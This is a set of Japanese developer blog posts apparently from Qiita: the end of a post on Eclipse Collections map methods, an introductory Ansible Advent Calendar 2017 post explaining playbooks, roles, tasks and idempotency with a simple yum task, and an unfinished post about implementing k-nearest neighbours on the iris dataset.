Eclipse CollectionsのMutableMapには、keyValuesViewというメソッドが存在し、一括での処理が用意になりました。

```java
Maps.mutable.of("Key1", 1, "Key2", 2, "Key3", 3, "Key4", 4)
		.keyValuesView() // RichIterable<Pair<String, Integer>>
		.collect((k, v) -> Tuples.pair(k, v * 2))// RichIterable<Pair<String, Integer>>
		.toMap();
```


# イケてないところ
## RichIterable#min、RichIterable#maxが、NoSuchElementExceptionをthrowする
これらはOptionalが開発される前から存在したメソッドです。
空のコレクションでこれらのメソッドを呼び出すと、NoSuchElementExceptionをthrowします。
利用時には空チェックが必須になります。

と書いていたんですが、Eclipse Collections 8.2でRichIterable#minOptional、RichIterable#maxOptionalが追加されていました。
弱点ない・・・？

# さいごに
主観で自分がいいなとおもっているものを書きつらねました。
QiitaにもまだEclipse Collectionsの記事は少ないので、利用している方は一緒に布教活動しましょう！

# 参考資料
1. https://www.eclipse.org/collections/ja/
1. http://www.goldmansachs.com/gs-collections/documents/2015-11-28_JJUG_CCC.pdf
1. http://slides.com/nashcft/jjug_ccc_2017_fall/
Ansibleをふわっと理解する

この記事は[Ansible Advent Calender 2017](https://qiita.com/advent-calendar/2017/ansible)の12/11（月）の記事です。
12/11中に上がってなかったらすみません。

今回は、僕自身がAnsibleのAの字も知らないところから試行錯誤を繰り返し、なんとなく掴めてきた所感を共有していこうと思っています。

## やらないこと
- インストール方法
- 実際にansibleを利用して一つ環境を作ってみる、という意味でのチュートリアル
- 複雑な構成の実現方法

上記を見るとわかりますが、**概ね何もやりません**。
「何もAnsibleを知らない人が、調べ始める前に読むと少し助けになる」くらいのものにするのが目標です。

## そもそもAnsibleって何
**Infrastructure as a Code**なんて呼ばれたりする構成管理ツールの一つです。
構成管理ツールと言われると複雑そうですが、実際は対象のサーバへssh接続してコマンドを実行しているだけのシンプルなものです。
また、実行ファイルの書式もyamlなので、小さい単位から触るならとっつきやすいものではないでしょうか。
SI経験のある自分的には**『秘伝の手順書』に記載されている手順を自動で実行してくれるツール**という理解がしっくりときました。


## Ansibleは何をしているの
**Playbook**に定義された**Role**や**Task**を愚直に一つずつ実行しています。

### 解説
- **Playbook** -> RoleやTaskを並べて、最終的なサーバー構成を定義するもの
- **Role** -> 自由な範囲でTasksをまとめたもの（大体は一つのアプリケーションをインストールするための一連の範囲 -> 一つのアプリケーション単位でまとまっていると再利用しやすいので）
- **Task** -> Ansibleの各モジュールを利用して、サーバーの状態を定義するもの

**モジュール**というのはAnsibleが用意してくれている機能です。用途に合ったモジュールを用いることで、いい感じにやりたいことを実現するコマンドを実行してくれます。
（例えば、`yum`モジュールはyumによるパッケージのインストールやアンインストールを実行してくれますし、`file`モジュールは指定したパスへの、ファイルやディレクトリの配置を行ってくれます。）

yumモジュールを利用した`git`をインストールされた状態にするためのTaskを紹介します。

```yaml
- name: Install Git from yum
  become: true # ←は「sudoで実行するよ」って感じのオプション
  yum:
    name: git
    state: present
```
`yum`モジュールのオプションとして`name`でパッケージ名を指定し、`state`で状態を定義しています。
`state`がAnsibleを理解するための肝となるオプションで、その名の通り「状態」を指定しています（**「gitのインストールを実行する」**という指示ではなく、**「gitがインストールされた状態でいてね」**という指示になっているということを強く意識してください）。
上でわざわざ「インストールされた状態にするためのTask」と書いたのもそれが理由です。

このように状態を定義することで、複数回このTaskを実行した場合、初回は「gitがインストールされてないからインストールを実行」、2回目以降は「gitがインストールされている状態だからスキップ」という挙動になります。つまり、何回実行しても状態が担保されています。

これがAnsibleの特徴である**冪等性**です。

### 冪等性ってなんなの
Ansibleに関して言えば、**何度実行してもサーバーの状態が変わらないこと**を指します。
以下の記事でわかりやすく書かれています。
https://dev.classmethod.jp/server-side/ansible/ansible_playbook_with_idempotence/

## まとめ
1. 「このコマンドを実行してね」ではなく「この状態になっていてね」というようにPlaybookを記述し、Ansibleを実行すれば、その状態になったサーバーが出来上がる。
2. Playbookへ記述された一つ一つの状態の構成を記述したものがTaskである
3. Taskを再利用しやすい単位でまとめたものがRoleである

この３点を意識すれば、Ansibleの理解へのとっかかりになるのではないかと思います。

## 終わりに
`vars`とか`with_items`とか、構成を実現するための要素は色々あるのですが、その辺は割愛してもっとも基本的な要素を感覚的に紹介してみました。
気になる方は[Ansibleタグ](https://qiita.com/tags/Ansible)から色々検索してみてください。

Ansibleの冪等性は幻とか色々言われてますが、無難な構成で使う分にはそんなに問題ないかなというのが、今のところの自分の気持ちです。
何より実際にサーバーがスパーンと設定されると気持ちいいし、初めて触れた構成管理ツールで愛着も出てきたので、これからも仲良くしていきたいと思っています。

qiita初投稿の記事は以上になります。
ここまで読んでいただき、ありがとうございました。

---
Ansible Advent Calendar 2017、12/12のエントリーは@hirofumihidaさんの記事です。 お楽しみに。
K近傍法を実装してみようとした

以下のようなアヤメのデータセットをつかってKNNを実装しようとしてみました。
![1.png](https://qiita-image-store.s3.amazonaws.com/0/186503/3f6248d0-e089-76c7-65cd-ae96bd26bf13.png)

が、終わらなかったので、途中結果を載せます。
今週中に更新します。

![2.png](https://qiita-image-store.s3.amazonaws.com/0/186503/225e8c75-c178-4bd8-449c-624ed813f209.png)

![3.png](https://qiita-image-store.s3.amazonaws.com/0/186503/40d0603f-25c8-7fde-aeb9-f9d6d13fca70.png)

ごめんなさい。。。